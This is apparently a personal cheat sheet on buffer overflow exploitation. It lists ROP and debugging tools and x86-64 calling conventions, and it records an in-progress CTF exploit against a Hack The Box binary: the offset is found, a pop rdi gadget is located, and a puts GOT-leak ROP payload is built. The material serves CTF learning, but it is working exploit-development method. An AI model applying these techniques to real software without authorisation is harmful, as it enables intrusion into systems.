Skip to content

Buffer Overflow

Practice sites: * https://exploit.education/

buffer overflow tools:

ropper

used to get rop chains

ropper --file garbage  | grep "pop"
apt-get install ropper

one_gadget

tool for finding one gadget RCE in libc.so.6

one_gadget binary_name
gem install one_gadget

ropgadget

search your gadgets on your binaries to facilitate your ROP exploitation

objdump

display information from object files.

objdump -D filename

pwntools - checksec

checksec filename
pwn checksec filename

pwntools - cyclic

pwn cyclic 40
pwn cyclic -l 0x61676161

dmesg - print or control the kernel ring buffer

dmesg |tail

readelf

Displays information about ELF files.
readelf -s filename

readelf [-a|--all]
        [-h|--file-header]
        [-l|--program-headers|--segments]
        [-S|--section-headers|--sections]
        [-g|--section-groups]
        [-t|--section-details]
        [-e|--headers]
        [-s|--syms|--symbols]
        [--dyn-syms]
        [-n|--notes]
        [-r|--relocs]
        [-u|--unwind]
        [-d|--dynamic]
        [-V|--version-info]
        [-A|--arch-specific]
        [-D|--use-dynamic]
        [-x <number or name>|--hex-dump=<number or name>]
        [-p <number or name>|--string-dump=<number or name>]
        [-R <number or name>|--relocated-dump=<number or name>]
        [-z|--decompress]
        [-c|--archive-index]
        [-w[lLiaprmfFsoRtUuTgAckK]|
         --debug-dump[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=loc,=Ranges,=pubtypes,=trace_info,=trace_abbrev,=trace_aranges,=gdb_index,=addr,=cu_index,=links,=follow-links]]
        [--dwarf-depth=n]
        [--dwarf-start=n]
        [-I|--histogram]
        [-v|--version]
        [-W|--wide]
        [-H|--help]
        elffile...

GDB:

  • dumprop -- Dump all ROP gadgets in specific memory range
  • list registers:
    • info registers - shows all the registers
    • info registers eax - shows just the register eax
    • The command can be abbreviated as i r

vmmap

gdb-peda$ help vmmap
Get virtual mapping address ranges of section(s) in debugged process
Usage:
    vmmap [mapname] (e.g binary, all, libc, stack)
    vmmap address (find mapname contains this address)
    vmmap (equiv to cat /proc/pid/maps)

Rabin2

Show Properties of a Binary

A few useful options:

-E              globally exportable symbols
-g              same as -SMZIHVResizcld (show all info)
-H              header fields
-i              imports (symbols imported from libraries)
-I              binary info
-j              output in json
-K [algo]       calculate checksums (md5, sha1, ..)
-l              linked libraries
-L [plugin]     list supported bin plugins or plugin details
-m [addr]       show source line at addr
-M              main (show address of main symbol)
-n [str]        show section, symbol or import named str
-N [min:max]    force min:max number of chars per string (see -z and -zz)
-s              symbols
-S              sections
-z              strings (from data section)
-zz             strings (from raw bins [e bin.rawstr=1])
-zzz            dump raw strings to stdout (for huge files)

Calling Conventions

(https://ctf101.org/binary-exploitation/what-are-calling-conventions/)

cdecl In 32-bit binaries on Linux, function arguments are passed in on the stack in reverse order. A function like this:

int add(int a, int b, int c) {
    return a + b + c;
}

would be invoked by pushing c, then b, then a.

SysV

For 64-bit binaries, function arguments are first passed in certain registers:

  1. RDI
  2. RSI
  3. RDX
  4. RCX
  5. R8
  6. R9

then any leftover arguments are pushed onto the stack in reverse order, as in cdecl.

+---------+------+------+------+------+------+------+
| syscall | arg0 | arg1 | arg2 | arg3 | arg4 | arg5 |
+---------+------+------+------+------+------+------+
|   %rax  | %rdi | %rsi | %rdx | %r10 | %r8  | %r9  |
+---------+------+------+------+------+------+------+
8-byte register Bytes 0-3 Bytes 0-1 Byte 0
%rax %eax %ax %al
%rcx %ecx %cx %cl
%rdx %edx %dx %dl
%rbx %ebx %bx %bl
%rsi %esi %si %sil
%rdi %edi %di %dil
%rsp %esp %sp %spl
%rbp %ebp %bp %bpl
%r8 %r8d %r8w %r8b
%r9 %r9d %r9w %r9b
%r10 %r10d %r10w %r10b
%r11 %r11d %r11w %r11b
%r12 %r12d %r12w %r12b
%r13 %r13d %r13w %r13b
%r14 %r14d %r14w %r14b
%r15 %r15d %r15w %r15b

32 bit:

from pwn import *

elf = ELF('./filename')
#p = elf.process()
p = remote('hostname.address', port_number)

address_of_desired_func
junk = 'A' * 22
payload = junk + p32(address_of_desired_func)

p.interactive()

Miscellaneous notes:

Resources:

Write-ups

To Sort:

objdump -D myapp objdump -x myapp ropper --file myapp ropper --file myapp --search "pop rdi" readelf -s myapp

ROPgadget --binary myapp --only "mov|pop|ret"

readelf --sections myapp

rabin2 -S myapp

r2: pd @ sym.test iz /R pop iS /R pop rdi i

db sym.main ood

gdb:

gdb ./myapp

gdb-peda$ set follow-fork-mode parent
gdb-peda$ b main
gdb-peda$ r


gdb-peda$ x/x
0x7fffffffe1c0: 0x0000000000401070

gdb-peda$ rip
Undefined command: "rip".  Try "help".
gdb-peda$ $rip
Undefined command: "$rip".  Try "help".
gdb-peda$ $esp
Undefined command: "$esp".  Try "help".
gdb-peda$ p $rip
$1 = (void (*)()) 0x401163 <main+4>

gdb-peda$ disassemble
gdb-peda$ vmmap binary
gdb-peda$ vmmap all
gdb-peda$ checksec

gdb-peda$ find "bin"
gdb-peda$ find "/bin/"

gdb-peda$ info functions

gdb-peda$ disassemble test

gdb-peda$ set disassembly-flavor intel
info registers

My initial attempts at the BoF

https://ctf101.org/binary-exploitation/return-oriented-programming/

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ set follow-fork-mode parent

gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ r
Starting program: /root/Documents/htb/boxes/safe/myapp
[Detaching after fork from child process 30278]
 02:03:30 up 1 day, 31 min,  1 user,  load average: 0.10, 0.17, 0.19

What do you want me to echo back? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

Program received signal SIGSEGV, Segmentation fault.

gdb-peda$ x/xg $rsp
0x7fffffffe158: 0x414f41413941416a

gdb-peda$ pattern offset 0x414f41413941416a
4706051884014715242 found at offset: 120

junk = "A" * 120

root@kali:~/Documents/htb/boxes/safe# ropper --file myapp --search "pop rdi"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: myapp
0x0000000000401090: pop rdi; adc dword ptr [rax], eax; call qword ptr [rip + 0x2f56]; hlt; nop dword ptr [rax + rax]; ret;
0x000000000040120b: pop rdi; ret;

pop_rdi = 0x40120b

Address of main

root@kali:~/Documents/htb/boxes/safe# objdump -D myapp|grep main
  401094:   ff 15 56 2f 00 00       callq  *0x2f56(%rip)        # 403ff0 <__libc_start_main@GLIBC_2.2.5>
000000000040115f <main>:

main - 0x40115f

root@kali:~/Documents/htb/boxes/safe# objdump -D myapp|grep puts
0000000000401030 <puts@plt>:
  401030:   ff 25 e2 2f 00 00       jmpq   *0x2fe2(%rip)        # 404018 <puts@GLIBC_2.2.5>
  4011a1:   e8 8a fe ff ff          callq  401030 <puts@plt>

plt (procedural link table) - 0x401030 got (global offset table) - 0x404018

payload = junk + pop_rdi + got_put + plt_put + main

payload = "A"*120 + 0x40120b + 0x404018 + 0x401030 + 0x40115f